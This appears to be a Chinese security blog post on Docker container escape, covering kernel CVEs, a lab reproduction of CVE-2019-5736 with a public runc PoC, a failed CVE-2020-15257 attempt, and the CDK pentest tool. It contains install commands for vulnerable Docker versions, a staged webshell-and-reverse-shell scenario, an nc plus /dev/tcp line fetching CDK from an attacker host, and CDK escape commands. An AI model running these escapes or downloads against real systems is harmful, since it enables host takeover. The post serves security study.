当前位置: 首页 > article >正文

【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸

通过漏洞利用实现逃逸,主要分为以下两种方式:

1、操作系统层面的内核漏洞

这是利用宿主机操作系统内核中的安全漏洞,直接突破容器的隔离机制,获得宿主机的权限。

攻击原理:容器本质上是通过 Linux 的 cgroups 和 namespace 提供隔离,而这些功能依赖于内核。因此,内核漏洞可能被用来突破隔离,攻击者可以直接访问宿主机。

常用漏洞:

  • Dirty COW (CVE-2016-5195):Linux 内核的写时复制 (Copy-On-Write) 漏洞,攻击者可以通过漏洞实现提权,影响宿主机。
  • OverlayFS 漏洞 (如 CVE-2021-3493):OverlayFS 文件系统中的权限校验漏洞,允许容器突破文件系统限制访问宿主机。
  • 权限提升漏洞 (如 CVE-2022-0847):又名“Dirty Pipe”,允许攻击者通过文件写入操作实现提权。
  • 其它:CVE-2019-16884、CVE-2021-22555、CVE-2022-0492、CVE-2022-23222等

系统内核漏洞并非 Docker 容器逃逸的“专属”利用方式,而是通用的一种权限提升技术。在 Web 安全或本地提权攻击场景中,内核漏洞同样可以被用来获取更高的系统权限。本章节属于云安全Docker内容,因此,内核漏洞的利用本文不做具体讨论。

2、Docker自身版本漏洞

Docker 本身作为容器管理工具,可能存在漏洞或实现上的不足,攻击者可以通过漏洞逃逸出容器环境,直接控制宿主机。

常用漏洞:

CVE-2019-5736

攻击者通过覆盖容器内的 runc 二进制文件,可以执行任意代码并控制宿主机。

利用条件

(1)版本:Docker version <= 18.09.2,RunC version <= 1.0-rc6 

(2)需要管理员再次进入容器触发

漏洞复现

a.首先卸载原有docker

sudo apt-get purge -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-ce-rootless-extras
sudo rm -rf /var/lib/docker
sudo rm -rf /var/lib/containerd
sudo rm /etc/apt/sources.list.d/docker.list
sudo rm /etc/apt/keyrings/docker.asc

b.安装漏洞对应版本

apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

c.编译exp ,项目地址

https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go

下载EXP后修改

使用如下命令进行编译EXP

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

d.准备另一台主机进行监听,上传EXP到容器,执行

e. 模拟管理员进入容器,触发EXP执行,成功反弹shell,复现完毕

模拟实战

受害者搭建网站

攻击者发现存在 Spring Cloud Gateway 命令执行漏洞

发现是容器root权限

植入内存马,使用哥斯拉连接

使用哥斯拉的远程下载功能,下载EXP,并赋予执行权限

监听、执行→管理员进入容器→成功逃逸

CVE-2020-15257

该漏洞出现在 containerd 的 CRI plugin(容器运行时接口插件)中。攻击者可以通过创建特定配置的容器,将 cgroups(控制组)的 pids.max 参数设置为无效值。当 containerd 尝试写入这个值时,会导致内核返回错误。这可能使 containerd 的内部机制中断,从而允许攻击者进一步利用该错误实现权限提升。

利用条件

(1)版本:containerd < 1.4.3,containerd < 1.3.9(不含1.3.9 和 1.4.3

(2)容器权限为root,且以 --net=host 模式启动

模拟复现

a. 受害者安装的containerd版本为漏洞版本

apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

b.受害者基于以上环境搭建的网站,存在struts2漏洞

c. 攻击者发现漏洞。执行命令,发现是容器环境,权限为容器root

d.攻击者反弹shell后,在受害者容器内下载CDK项目

e.后续利用,搜寻教程和资料说是可以借助自动化项目CDK进行容器逃逸。但是,不知道哪里出了问题,该漏洞我未能复现成功,猜测是各大云厂商做了安全优化,一路上各种报错,如果哪位大佬知道其中的缘由,还望告知!

自动化项目:CDK

项目链接:
GitHub - cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier.

CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。 

下载/植入
  • 在目标容器内直接wget或者curl
  • 通过公网主机nc重定向
A主机:nc -lvp 999 < cdk
B主机:cat < /dev/tcp/A主机IP/999 > cdk

 

功能模块
  • Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。
  • Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
  • Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。
使用测试

以特权模式启动一个容器

在容器中下载CDK

信息收集

./cdk eva

发现特权模式

特权模式利用

 ./cdk run mount-disk

使用自动逃逸也是没问题的

 ./cdk  auto-escape id

Ps:该项目还是很强大的,经测试,特权模式、危险挂载均可以检查并利用,师傅们可自行测试

结尾

至此,Docker安全问题分析结束,下一篇开始,讨论容器编排工具k8s的安全问题


http://www.kler.cn/a/519036.html

相关文章:

  • 安宝特方案 | AR在供应链管理中的应用:提升效率与透明度
  • SpringBoot基础概念介绍-数据源与数据库连接池
  • Spring Boot 自动配置
  • vim如何设置自动缩进
  • 怎么样把pdf转成图片模式(不能复制文字)
  • Spring Boot 3.4 正式发布,结构化日志!
  • GMP底层
  • Web3 与数据隐私:如何让用户掌控个人信息
  • Vue组件开发-使用 html2canvas 和 jspdf 库实现PDF文件导出 设置页面大小及方向
  • 国自然数学与医疗健康交叉重点专项|基于多组学大数据的鼻咽癌个体化临床智能决策算法与支持系统|基金申请·25-01-23
  • 导航的 “精确之误“:道路拥堵的 SPF 成因与解决
  • 如何跨互联网adb连接到远程手机-蓝牙电话集中维护
  • 深度学习|表示学习|卷积神经网络|离散卷积的操作详细|10
  • DBSCAN密度聚类
  • 批量创建ES索引
  • 【Rust自学】14.5. cargo工作空间(Workspace)
  • Commander 一款命令行自定义命令依赖
  • 国自然重点项目|代谢影像组学只能预测肺癌靶向耐药的关键技术与应用|基金申请·25-01-25
  • 10.片元
  • 第14章 7种单例设计模式的设计(Java高并发编程详解:多线程与系统设计)
  • ubuntu18.04安装nvm管理本机node和npm
  • macos的图标过大,这是因为有自己的设计规范
  • 【精选】基于数据挖掘的招聘信息分析与市场需求预测系统 职位分析、求职者趋势分析 职位匹配、人才趋势、市场需求分析数据挖掘技术 职位需求分析、人才市场趋势预测
  • Coze,Dify,FastGPT,对比
  • 计算机的错误计算(二百二十二)
  • BGP分解实验·11——路由聚合与条件性通告(3)